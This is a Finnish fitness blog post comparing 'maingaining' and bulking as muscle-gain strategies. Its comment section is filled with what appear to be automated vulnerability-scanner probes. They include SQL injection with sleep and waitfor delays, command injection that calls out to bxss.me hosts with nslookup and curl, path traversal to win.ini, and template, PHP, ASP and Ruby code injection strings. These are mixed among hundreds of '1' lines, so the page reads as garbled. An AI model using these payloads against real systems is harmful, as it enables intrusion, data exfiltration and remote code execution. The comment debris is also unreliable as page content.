Maingaining vs. Bulking: Kumpi on oikea strategia sinulle?
Maingaining vs. Bulking: Kumpi on oikea strategia sinulle?
Lihasmassan kasvattaminen on monille treenaajille yksi tärkeimmistä tavoitteista, mutta siihen liittyy aina kriittinen kysymys: miten sen pitäisi tapahtua? Kaksi yleistä strategiaa nousee esiin — maingaining ja bulking. Vaikka molemmat voivat viedä sinut kohti lihaksikkaampaa ja vahvempaa versiota itsestäsi, ne eroavat merkittävästi sekä toteutustavan että tulosten suhteen. Sukelletaanpa syvemmälle ja katsotaan, kumpi sopii juuri sinulle!
Mikä on maingaining?
Maingaining on strategia, jossa lihasmassaa kasvatetaan maltillisesti pitäen kehon rasvaprosentti vakiona. Toisin kuin perinteinen bulking, maingaining ei sisällä suurta kaloriylijäämää. Sen sijaan ruokavalio suunnitellaan niin, että se hädin tuskin ylittää energiantarpeesi — puhutaan yleensä 100–300 lisäkalorista päivässä.
Kenelle maingaining sopii?
Niille, jotka haluavat pysyä “lean” ympäri vuoden: Jos haluat välttää rasvan kertymistä, maingaining on sinulle.
Pitkän aikavälin kehitykseen panostaville: Lihaskasvu on hidasta mutta tasaista.
Kokeneille treenaajille: Ne, joilla on jo paljon lihasmassaa, voivat hyötyä tästä strategiasta.
Hyödyt:
Kehosi ulkonäkö pysyy suhteellisen rasvattomana.
Vähennät tarpeen leikata ("cut") rasvaa myöhemmin.
Psykologisesti helppo niille, jotka haluavat näyttää hyvältä ympäri vuoden.
Haasteet:
Vaatii tarkkaa ruokavalion hallintaa.
Lihasmassan kasvu voi olla hitaampaa verrattuna bulkkaukseen.
Entä sitten bulking?
Bulking on lihaskasvun maksimoimiseen suunnattu strategia, jossa syödään merkittävällä kaloriylijäämällä. Tämä tarkoittaa, että nautit 300–1000 lisäkaloria päivässä, mikä mahdollistaa intensiivisen harjoittelun ja nopean painonnousun — niin lihaksen kuin rasvankin muodossa.
Kenelle bulking sopii?
Niille, joille rasvaprosentin nousu ei ole ongelma: Jos olet valmis “puhdistamaan” kehoasi leikkausvaiheessa myöhemmin, bulking on tehokas tapa lisätä lihasta nopeasti.
Kilpailijoille tai voimailijoille: Ne, jotka tarvitsevat maksimaalista voimaa ja kokoa lyhyessä ajassa.
Hyödyt:
Nopeampi lihaskasvu.
Ei tarvetta tarkan kalorinsaannin hallintaan.
Sopii erityisesti talvikauteen, kun kehon ulkonäkö ei ole ensisijainen prioriteetti.
Haasteet:
Kehon rasvaprosentti nousee merkittävästi.
Vaatii myöhemmin "cutting"-vaiheen, jotta saavutetaan toivottu kehonkoostumus.
Voi olla psykologisesti vaikeaa niille, jotka haluavat pysyä hoikkina.
Lisääntynyt rasva kasvattaa terveysriskejä
Miten valita oikea strategia?
Valinta maingainingin ja bulkkauksen välillä riippuu pitkälti tavoitteistasi, aikataulustasi ja mieltymyksistäsi:
Haluatko pysyä rasvattomana? Valitse maingaining.
Onko lihasmassan nopea lisäys tärkeintä? Bulking on tehokkain tapa saavuttaa se.
Kuinka paljon aikaa olet valmis panostamaan? Maingaining vaatii pitkäjänteistä sitoutumista, kun taas bulking on lyhytaikaisempi mutta intensiivisempi strategia.
Psykologinen mukavuus: Kumpi tuntuu itsellesi helpommalta — tasapainoinen ulkonäkö vai nopea kasvu rasvan lisäyksen kustannuksella?
Yhteenveto
Sekä maingaining että bulking ovat tehokkaita tapoja kasvattaa lihasta, mutta ne sopivat eri tavoitteisiin ja elämäntyyleihin. Jos haluat pitkäjänteistä kehitystä ja arvostat rasvattomuutta, maingaining on oikea valinta. Jos taas haet nopeita tuloksia ja olet valmis käymään läpi myöhemmän leikkausvaiheen, bulking tarjoaa tehokkaan ratkaisun.
Muista, että kumpikin strategia vaatii sitoutumista sekä johdonmukaista harjoittelua ja ravitsemusta. Lopulta oikea valinta riippuu siitä, mikä sopii sinun tavoitteisiisi ja elämäntilanteeseesi. Olipa valintasi kumpi tahansa, tärkeintä on nauttia matkasta ja arvostaa saavutuksia matkan varrella!
Kommentit
1
1
1
1
1
1
1
1
1
1
1
response.write(9963541*9193880)
1
1
1
'+response.write(9963541*9193880)+'
1
1
1
1
1
"+response.write(9963541*9193880)+"
1
1R5Z4GSKS0
1
jy5LvdPZ
1
1
1
1
1
1
1
w4SG8To4: 1TbSQYcR
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1ZV6Q57Q70
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
../../../../../../../../../../../../../../windows/win.ini
1
1
XwgJ54hb
1
1
1
1
1
1
1
1
1
Un5ARQx8: vpkDyxuV
1
1
1
1
1
response.write(9386000*9601166)
1
1
1
1
../1
1
1
1
1
'+response.write(9386000*9601166)+'
1
1
1
1
1
"+response.write(9386000*9601166)+"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
12345'"\'\");|]* {
1
1
1
${9999689+9999028}
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
${10000034+10000093}
1
1
1
1
1
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1
1
1
1
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1
1
1
1
1
1
1
1
1
1
1
1&n911431=v947602
1
c:/windows/win.ini
1
1
1
1
1
bxss.me
1
1
1
1
1
1
1
1
1
Http://bxss.me/t/fit.txt
1
1
1
1
1
1
1
1
1
1
1
http://bxss.me/t/fit.txt?.jpg
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1&n946313=v987118
1
12345'"\'\");|]* {
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
redirtest.acx
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)
1
1
1
1
1
!(()&&!|*|*|
redirtest.acx
1
1
1
1
1
1
1
1
^(#$!@#$)(()))******
1
1
1
1
1
1
1
1
1
1
1
1
1
echo fbvaev$()\ lsuawm\nz^xyu||a #' &echo fbvaev$()\ lsuawm\nz^xyu||a #|" &echo fbvaev$()\ lsuawm\nz^xyu||a #
1
1
1
1
1
1
1
&echo lkuzhn$()\ xqebcu\nz^xyu||a #' &echo lkuzhn$()\ xqebcu\nz^xyu||a #|" &echo lkuzhn$()\ xqebcu\nz^xyu||a #
1
1
1
1
1
1
1
1
1
1&echo bckqce$()\ yfgdnq\nz^xyu||a #' &echo bckqce$()\ yfgdnq\nz^xyu||a #|" &echo bckqce$()\ yfgdnq\nz^xyu||a #
1
1
1
1
../../../../../../../../../../../../../../windows/win.ini
1
1
1
1
|echo rivonw$()\ gsigza\nz^xyu||a #' |echo rivonw$()\ gsigza\nz^xyu||a #|" |echo rivonw$()\ gsigza\nz^xyu||a #
1
1
1
1|echo qxwvmh$()\ zhwpth\nz^xyu||a #' |echo qxwvmh$()\ zhwpth\nz^xyu||a #|" |echo qxwvmh$()\ zhwpth\nz^xyu||a #
1
1
1
1
1
1
1
1
1
expr 9000773728 - 933627
../1
1
1
1
1
(nslookup -q=cname hitbididrvhcr80a22.bxss.me||curl hitbididrvhcr80a22.bxss.me))
1
1
1
$(nslookup -q=cname hitxzrctpfnckeb80f.bxss.me||curl hitxzrctpfnckeb80f.bxss.me)
1
1
1
&nslookup -q=cname hittiuakviyhe441b4.bxss.me&'\"`0&nslookup -q=cname hittiuakviyhe441b4.bxss.me&`'
1
1
1
1
1
1
1
&(nslookup -q=cname hitxajejoxoly6859e.bxss.me||curl hitxajejoxoly6859e.bxss.me)&'\"`0&(nslookup -q=cname hitxajejoxoly6859e.bxss.me||curl hitxajejoxoly6859e.bxss.me)&`'
1
1
1
1
1
1
1
1
1
|(nslookup -q=cname hitnkhbzawnwedb963.bxss.me||curl hitnkhbzawnwedb963.bxss.me)
1
1
1
1
1
1
1
1
1
`(nslookup -q=cname hityjlgmtbfjm13677.bxss.me||curl hityjlgmtbfjm13677.bxss.me)`
1
1
1
1
1
1
1
'"()
)
1
1
;(nslookup -q=cname hitvfympwlsrlf36a1.bxss.me||curl hitvfympwlsrlf36a1.bxss.me)|(nslookup -q=cname hitvfympwlsrlf36a1.bxss.me||curl hitvfympwlsrlf36a1.bxss.me)&(nslookup -q=cname hitvfympwlsrlf36a1.bxss.me||curl hitvfympwlsrlf36a1.bxss.me)
1
1
1
1
!(()&&!|*|*|
1
1
1
1
1
^(#$!@#$)(()))******
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
HttP://bxss.me/t/xss.html?%00
1
1
1
1
1
1
1
1
1
bxss.me/t/xss.html?%00
1
1
1
1
1
1
1
1
1
1
1
1
1
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1
1
1
1
1
1
1
1
1
1
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
c:/windows/win.ini
1
1
1
1
1
1
1
bxss.me
1
1
1
1
1
1
1
Http://bxss.me/t/fit.txt
1
1
1
HttP://bxss.me/t/xss.html?%00
1
1
1
http://bxss.me/t/fit.txt?.jpg
1
1
1
1
1
bxss.me/t/xss.html?%00
1
1
"+"A".concat(70-3).concat(22*4).concat(103).concat(80).concat(119).concat(89)+(require"socket" Socket.gethostbyname("hitmr"+"idvojvqn769ba.bxss.me.")[3].to_s)+"
1
ajax.php
1
1
1
1
1
1
1
xfs.bxss.me
1
'+'A'.concat(70-3).concat(22*4).concat(112).concat(69).concat(99).concat(75)+(require'socket' Socket.gethostbyname('hituu'+'tguacrjwb0fa7.bxss.me.')[3].to_s)+'
1
ajax.php
1
1
1
1
1
1
1
1
1
'A'.concat(70-3).concat(22*4).concat(100).concat(84).concat(100).concat(90)+(require'socket' Socket.gethostbyname('hitcq'+'lenteodm7bcbd.bxss.me.')[3].to_s)
1
1
1
ajax.php/.
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
1
1
1
1
1
1
1
1
1
1
${@print(md5(31337))}
xfs.bxss.me
1
1
1
1
1
1
1
1
1
1
${@print(md5(31337))}\
1
1
1
1
1
1
1
1
1
1
1
'.print(md5(31337)).'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
1
1
1
1
1
1'"()&%l4SW(9035)
1
1
1
1
1
1
'"()
1
1
'"()&%l4SW(9196)
1
1
1
1
1
1
1
1
1
19058715
1
1
1
1
1
1
1
1
1
bfg3084<s1﹥s2ʺs3ʹhjl3084
1
1
"+"A".concat(70-3).concat(22*4).concat(121).concat(73).concat(108).concat(78)+(require"socket" Socket.gethostbyname("hityw"+"oqbjbgkl4a6a2.bxss.me.")[3].to_s)+"
1
1
'"
1
bfgx4252
ajax.php
1
'+'A'.concat(70-3).concat(22*4).concat(101).concat(75).concat(98).concat(80)+(require'socket' Socket.gethostbyname('hitux'+'azhmnbqx04d5a.bxss.me.')[3].to_s)+'
1
1
1
1
1
ajax.php
1
'A'.concat(70-3).concat(22*4).concat(107).concat(75).concat(102).concat(70)+(require'socket' Socket.gethostbyname('hitsl'+'oyusmtci050df.bxss.me.')[3].to_s)
1
1
1
1
1
1
ajax.php/.
1
1
1
1
1
1
1
1
1}}"}}'}}1%>"%>'%>
1
1
1
1
1
dfb{{98991*97996}}xca
1
1
1
dfb[[${98991*97996}]]xca
1
dfb__${98991*97996}__::.x
1
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
1
1
1
1
1
1l4SW(9752)
1
1
1
1FFLSE[!+!]
'"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
${@print(md5(31337))}
1
1
1
1
1
${@print(md5(31337))}\
1
1
1
'.print(md5(31337)).'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
echo nrgpqq$()\ zmmssc\nz^xyu||a #' &echo nrgpqq$()\ zmmssc\nz^xyu||a #|" &echo nrgpqq$()\ zmmssc\nz^xyu||a #
1
1
1
&echo cfwqrp$()\ lbrurr\nz^xyu||a #' &echo cfwqrp$()\ lbrurr\nz^xyu||a #|" &echo cfwqrp$()\ lbrurr\nz^xyu||a #
1
1
1
1&echo fwowlh$()\ hbnjqv\nz^xyu||a #' &echo fwowlh$()\ hbnjqv\nz^xyu||a #|" &echo fwowlh$()\ hbnjqv\nz^xyu||a #
1
1
1
|echo eguyry$()\ fkgqnq\nz^xyu||a #' |echo eguyry$()\ fkgqnq\nz^xyu||a #|" |echo eguyry$()\ fkgqnq\nz^xyu||a #
1
1|echo atfogd$()\ adifqs\nz^xyu||a #' |echo atfogd$()\ adifqs\nz^xyu||a #|" |echo atfogd$()\ adifqs\nz^xyu||a #
1
1
1
expr 9000653879 - 962921
1
(nslookup -q=cname hitdawetreyev309d0.bxss.me||curl hitdawetreyev309d0.bxss.me))
1
1
1
1
1
$(nslookup -q=cname hitpdkggzdymnc1d07.bxss.me||curl hitpdkggzdymnc1d07.bxss.me)
1
1
1
1
1
1
1
1
1
&nslookup -q=cname hitbyjlogpimd7b04b.bxss.me&'\"`0&nslookup -q=cname hitbyjlogpimd7b04b.bxss.me&`'
1
1
1
1
1
&(nslookup -q=cname hitazkiuwogwmf61d3.bxss.me||curl hitazkiuwogwmf61d3.bxss.me)&'\"`0&(nslookup -q=cname hitazkiuwogwmf61d3.bxss.me||curl hitazkiuwogwmf61d3.bxss.me)&`'
1
1
1
|(nslookup -q=cname hitviqkvlxvhl30fc7.bxss.me||curl hitviqkvlxvhl30fc7.bxss.me)
1
1
1
1
1
`(nslookup -q=cname hityjlidyhyztbf948.bxss.me||curl hityjlidyhyztbf948.bxss.me)`
1
1
1
1
1
;(nslookup -q=cname hitdpwxdxzpvl0bc10.bxss.me||curl hitdpwxdxzpvl0bc10.bxss.me)|(nslookup -q=cname hitdpwxdxzpvl0bc10.bxss.me||curl hitdpwxdxzpvl0bc10.bxss.me)&(nslookup -q=cname hitdpwxdxzpvl0bc10.bxss.me||curl hitdpwxdxzpvl0bc10.bxss.me)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
response.write(9293858*9146803)
1
1
1
'+response.write(9293858*9146803)+'
1
1
1
"+response.write(9293858*9146803)+"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
I0704fgc
1
1
1
tgQsZfn7: KI4JvwrU
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
response.write(9210515*9292733)
1
1
1
1
1
1
1
1
1
'+response.write(9210515*9292733)+'
1
1
1
1
1
1
1
1
1
"+response.write(9210515*9292733)+"
1
1
1
1
1
1
1
1
1
1
1
yDe1JKZi
1
1
1
1
../../../../../../../../../../../../../../windows/win.ini
1
1
1
1
KM2XaU70: HgZ83MuQ
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
../1
1
1
1
1
1'"()&%l4SW(9006)
1
1
1
1
1
1
1
'"()&%l4SW(9751)
1
1
1
1
1
1
1
19928020
1
1
1
1
1
bfg3777<s1﹥s2ʺs3ʹhjl3777
1
1
1
1
1
1
1
bfgx6137
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1}}"}}'}}1%>"%>'%>
1
1
1
1
1
1
1
1
12345'"\'\");|]* {
dfb{{98991*97996}}xca
1
1
1
1
1
dfb[[${98991*97996}]]xca
1
1
1
1
1
dfb__${98991*97996}__::.x
1
1
1
1
1
1
1
1
1
1
1
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
1
1
1
1
1
1l4SW(9111)
1
1
1
1
1
1
1
1
1
1A63SU[!+!]
1
1
1
1
1
1
1
1
1
1
1
../../../../../../../../../../../../../../windows/win.ini
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1
1
1
1
../1
1
1
1
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1
${9999198+10000377}
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1&n937418=v924856
1
1
1
c:/windows/win.ini
1
1
1
1
1
1
1
bxss.me
${10000070+10000367}
1
1
1
1
1
1
Http://bxss.me/t/fit.txt
1
1
1
1
12345'"\'\");|]* {
1
1
1
1
http://bxss.me/t/fit.txt?.jpg
1
1
1&n984877=v915962
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
redirtest.acx
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
redirtest.acx
1
1
1
1
echo flbxtt$()\ fopwqr\nz^xyu||a #' &echo flbxtt$()\ fopwqr\nz^xyu||a #|" &echo flbxtt$()\ fopwqr\nz^xyu||a #
1
1
1
1
1
1
1
1
1
&echo jyqmow$()\ jwgueh\nz^xyu||a #' &echo jyqmow$()\ jwgueh\nz^xyu||a #|" &echo jyqmow$()\ jwgueh\nz^xyu||a #
1
1
1
1
1
1
1
)
1
1&echo ryxtig$()\ bukfey\nz^xyu||a #' &echo ryxtig$()\ bukfey\nz^xyu||a #|" &echo ryxtig$()\ bukfey\nz^xyu||a #
1
1
1
1
1
!(()&&!|*|*|
1
|echo xakjvy$()\ wxpovd\nz^xyu||a #' |echo xakjvy$()\ wxpovd\nz^xyu||a #|" |echo xakjvy$()\ wxpovd\nz^xyu||a #
1
1
1
1
1
1|echo rkjnap$()\ yuymvc\nz^xyu||a #' |echo rkjnap$()\ yuymvc\nz^xyu||a #|" |echo rkjnap$()\ yuymvc\nz^xyu||a #
1
^(#$!@#$)(()))******
1
1
1
1
1
expr 9000237516 - 974404
1
1
1
1
1
(nslookup -q=cname hitjevioepgdsc3856.bxss.me||curl hitjevioepgdsc3856.bxss.me))
1
1
1
1
1
$(nslookup -q=cname hithuerblncrl6ad7f.bxss.me||curl hithuerblncrl6ad7f.bxss.me)
1
1
1
1
1
&nslookup -q=cname hitpypccapxpe18938.bxss.me&'\"`0&nslookup -q=cname hitpypccapxpe18938.bxss.me&`'
1
1
1
&(nslookup -q=cname hitldtuqhsmgqa293c.bxss.me||curl hitldtuqhsmgqa293c.bxss.me)&'\"`0&(nslookup -q=cname hitldtuqhsmgqa293c.bxss.me||curl hitldtuqhsmgqa293c.bxss.me)&`'
1
1
1
|(nslookup -q=cname hitlstoxzijnz16b3d.bxss.me||curl hitlstoxzijnz16b3d.bxss.me)
1
1
1
`(nslookup -q=cname hitjiypmgguss740eb.bxss.me||curl hitjiypmgguss740eb.bxss.me)`
1
1
1
1
1
;(nslookup -q=cname hitijnbpunncf032a9.bxss.me||curl hitijnbpunncf032a9.bxss.me)|(nslookup -q=cname hitijnbpunncf032a9.bxss.me||curl hitijnbpunncf032a9.bxss.me)&(nslookup -q=cname hitijnbpunncf032a9.bxss.me||curl hitijnbpunncf032a9.bxss.me)
1
1
1
'"()
1
1
1
1
1
1
)
1
1
1
!(()&&!|*|*|
1
1
1
^(#$!@#$)(()))******
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1
1
1
1
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1
1
1
1
1
1
1
'"()
1
c:/windows/win.ini
1
1
1
1
1
1
1
bxss.me
1
1
1
1
1
Http://bxss.me/t/fit.txt
1
1
1
http://bxss.me/t/fit.txt?.jpg
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
ajax.php
1
1
1
1
1
1
1
1
1
1
1
ajax.php
1
1
1
1
1
1
1
1
1
ajax.php/.
1
1
1
1
1
1
1
HttP://bxss.me/t/xss.html?%00
1
1
1
bxss.me/t/xss.html?%00
1
1
1
${@print(md5(31337))}
1
1
1
1
1
${@print(md5(31337))}\
1
1
1
1
1
'.print(md5(31337)).'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
HttP://bxss.me/t/xss.html?%00
1
1
1
1
1
1
1
bxss.me/t/xss.html?%00
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
1
echo quhxdo$()\ bppbez\nz^xyu||a #' &echo quhxdo$()\ bppbez\nz^xyu||a #|" &echo quhxdo$()\ bppbez\nz^xyu||a #
1
1
1
&echo ttgyek$()\ oqotdc\nz^xyu||a #' &echo ttgyek$()\ oqotdc\nz^xyu||a #|" &echo ttgyek$()\ oqotdc\nz^xyu||a #
1
1
1
1
1
1
1
1&echo gfhoxj$()\ yeasnb\nz^xyu||a #' &echo gfhoxj$()\ yeasnb\nz^xyu||a #|" &echo gfhoxj$()\ yeasnb\nz^xyu||a #
1
|echo wlzerv$()\ yxdyvj\nz^xyu||a #' |echo wlzerv$()\ yxdyvj\nz^xyu||a #|" |echo wlzerv$()\ yxdyvj\nz^xyu||a #
1
1|echo uposqz$()\ lrperu\nz^xyu||a #' |echo uposqz$()\ lrperu\nz^xyu||a #|" |echo uposqz$()\ lrperu\nz^xyu||a #
1
expr 9000134186 - 974748
1
1
1
1
1
1
1
(nslookup -q=cname hitycdaxpnbgue231f.bxss.me||curl hitycdaxpnbgue231f.bxss.me))
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
1
1
1
1
1
1
$(nslookup -q=cname hittiaqkyxffi491f2.bxss.me||curl hittiaqkyxffi491f2.bxss.me)
1
1
xfs.bxss.me
1
1
ajax.php
1
&nslookup -q=cname hitqobgetkjzd78c9d.bxss.me&'\"`0&nslookup -q=cname hitqobgetkjzd78c9d.bxss.me&`'
1
1
1
1
1
1
1
&(nslookup -q=cname hitkzvxbakzdf29a23.bxss.me||curl hitkzvxbakzdf29a23.bxss.me)&'\"`0&(nslookup -q=cname hitkzvxbakzdf29a23.bxss.me||curl hitkzvxbakzdf29a23.bxss.me)&`'
1
ajax.php
1
1
"+"A".concat(70-3).concat(22*4).concat(113).concat(83).concat(115).concat(77)+(require"socket" Socket.gethostbyname("hitea"+"jacssrvh2ffaf.bxss.me.")[3].to_s)+"
|(nslookup -q=cname hitaljezhvgpq2cc4a.bxss.me||curl hitaljezhvgpq2cc4a.bxss.me)
1
1
1
ajax.php/.
1
1
'+'A'.concat(70-3).concat(22*4).concat(105).concat(87).concat(97).concat(79)+(require'socket' Socket.gethostbyname('hitrn'+'gzlqlllub829b.bxss.me.')[3].to_s)+'
`(nslookup -q=cname hitwayjbcdiayeadb1.bxss.me||curl hitwayjbcdiayeadb1.bxss.me)`
1
xfs.bxss.me
1
1
'A'.concat(70-3).concat(22*4).concat(109).concat(88).concat(109).concat(79)+(require'socket' Socket.gethostbyname('hitgu'+'jgaktukm6bd79.bxss.me.')[3].to_s)
1
1
;(nslookup -q=cname hitjnznsuyqdmad49a.bxss.me||curl hitjnznsuyqdmad49a.bxss.me)|(nslookup -q=cname hitjnznsuyqdmad49a.bxss.me||curl hitjnznsuyqdmad49a.bxss.me)&(nslookup -q=cname hitjnznsuyqdmad49a.bxss.me||curl hitjnznsuyqdmad49a.bxss.me)
1
1
1'"()&%C1gA(9322)
${@print(md5(31337))}
1
1
1
1
1
1
'"()&%C1gA(9228)
${@print(md5(31337))}\
1
1
1
1
19206108
1
1
'.print(md5(31337)).'
1
1
1
1
bfg7435<s1﹥s2ʺs3ʹhjl7435
1
1
1
1
1
bfgx6689
1
1
1
1
1
1
1
1
1
1
1
1
1
1}}"}}'}}1%>"%>'%>
1
1
1
1
1
1
1
dfb{{98991*97996}}xca
1
1
1
1
1
1
1
1
1
dfb[[${98991*97996}]]xca
1
1
1
'"
1
dfb__${98991*97996}__::.x
"+"A".concat(70-3).concat(22*4).concat(103).concat(82).concat(109).concat(68)+(require"socket" Socket.gethostbyname("hitup"+"mcdhnvnx8ea98.bxss.me.")[3].to_s)+"
1
1
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
1
'+'A'.concat(70-3).concat(22*4).concat(106).concat(89).concat(111).concat(75)+(require'socket' Socket.gethostbyname('hitrn'+'hcginkbp3aee1.bxss.me.')[3].to_s)+'
1
1
1C1gA(9900)
1
1
1
1U0FN8[!+!]
'A'.concat(70-3).concat(22*4).concat(109).concat(90).concat(99).concat(83)+(require'socket' Socket.gethostbyname('hitkb'+'zdswxhaz87b79.bxss.me.')[3].to_s)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%C1gA(9207)
1
1
1
'"()&%C1gA(9581)
1
1
1
19633142
1
1
1
bfg6101<s1﹥s2ʺs3ʹhjl6101
1
1
1
bfgx3686
1
1
1
1
1
1}}"}}'}}1%>"%>'%>
1
dfb{{98991*97996}}xca
1
dfb[[${98991*97996}]]xca
1
dfb__${98991*97996}__::.x
1
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
1
1C1gA(9693)
1
1IBHZB[!+!]
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1 OR 5*5=25
1
-1 OR 5*5=26
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"
1
1
1
@@BKvxX
1
1
1
1
1
1
1
1'"
1
1
1
@@4foW3
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1*if(now()=sysdate(),sleep(15),0)
1
1
1
1'"
1
1
1
@@CD8Dj
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
1-1; waitfor delay '0:0:15' --
1
1-1); waitfor delay '0:0:15' --
1
1-1 waitfor delay '0:0:15' --
1
1-1 OR 712=(SELECT 712 FROM PG_SLEEP(15))--
1
1-1) OR 912=(SELECT 912 FROM PG_SLEEP(15))--
1
1-1)) OR 900=(SELECT 900 FROM PG_SLEEP(15))--
1
1
1
1'"
1
1
1
@@MFocH
1
(select 198766*667891)
1
(select 198766*667891 from DUAL)
1
1
1
1
1